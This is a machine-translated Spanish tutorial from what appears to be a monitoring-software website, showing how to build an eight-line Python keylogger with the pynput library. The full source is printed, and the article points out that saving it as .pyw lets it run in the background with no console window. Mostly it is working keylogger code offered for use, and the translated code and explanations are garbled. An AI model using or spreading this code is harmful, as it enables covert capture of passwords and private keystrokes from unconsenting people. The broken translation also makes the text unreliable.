This is a machine translation. The original page (in English) is available here.
Casa>Artículos>Tan Fácil como el Pastel: la Construcción de un Simple Registrador de teclas en Python
La parte superior de los Capturadores de teclado
Ver más...

Tan Fácil como el Pastel: la Construcción de un Simple Registrador de teclas en Python

  •  
Valoración del usuario: 5 - 1 votos

Este pequeño artículo te mostrará cómo crear rápida y fácilmente un pequeño y muy simple Registrador de teclas en Python. Este Registrador de teclas se compondrá de ocho líneas de código, pero funciona!


Para nuestro Registrador de teclas, vamos a usar una biblioteca de python llamado pynput (usted lo puede encontrar aquí: https://github.com/moses-palmer/pynput). Instalar usando pip gestor de paquetes.


Crear un archivo, el nombre de Registrador de teclas.pyw, lanzar cualquier editor de texto y vamos a empezar a crear el Registrador de teclas.



from pynput.keyboard import Key, Listener
import logging
logdir = ""
logging.basicConfig(filename = (logdir"logfile.txt"),level = logging.DEBUG, format = '%(asctime)s : %(message)s')
def keypress(Key):
logging.info(str(Key))
with Listener(on_press = keypress) as listener:
listener.join()

Eso es todo. Sólo ocho líneas. Aquí está lo que cada línea es para:


El primero es todo acerca de la importación de los paquetes (en nuestro caso - pynput) y en el registro, por lo que cada tecla se registrará cuando se pulsa.


A continuación, tenemos un directorio de registro, que en este caso se establece en vacío (pero usted puede especificar su propio), por lo que se encuentra en el mismo directorio que el script.


La siguiente línea de ofertas con el registro de configuraciones, en el que el código es auto-explicativo. El basicConfig() método recibe tres parámetros, uno de los cuales es el nombre de archivo. Después de esto, hemos de pulsar una tecla de escucha método será el registro de la respectiva clave después de que se ha presionado. Así, cada pulsación de tecla se registra.


Como usted probablemente ha notado, hemos guardado el archivo de origen con una .pyw extensión en lugar de .py uno. La razón es que en este caso el Registrador de teclas se puede ejecutar en segundo plano, porque el código .pyw se puede ejecutar sin necesidad de crear una ventana de la consola. Sólo tiene que ejecutar el código, pulse algunas teclas al azar y asegúrese de que todas las claves que se registra en el archivo especificado. Esto significa que usted acaba de crear un Registrador de teclas en Python, que consta de 8 líneas de código!



Fecha de publicación:
Leer el artículo completo
Casa>Artículos>Tan Fácil como el Pastel: la Construcción de un Simple Registrador de teclas en Python
IMPORTANTE! Instalación de equipo de monitoreo de herramientas en los equipos que no posean o no tienes permiso para monitor puede violar locales, estatales o federales.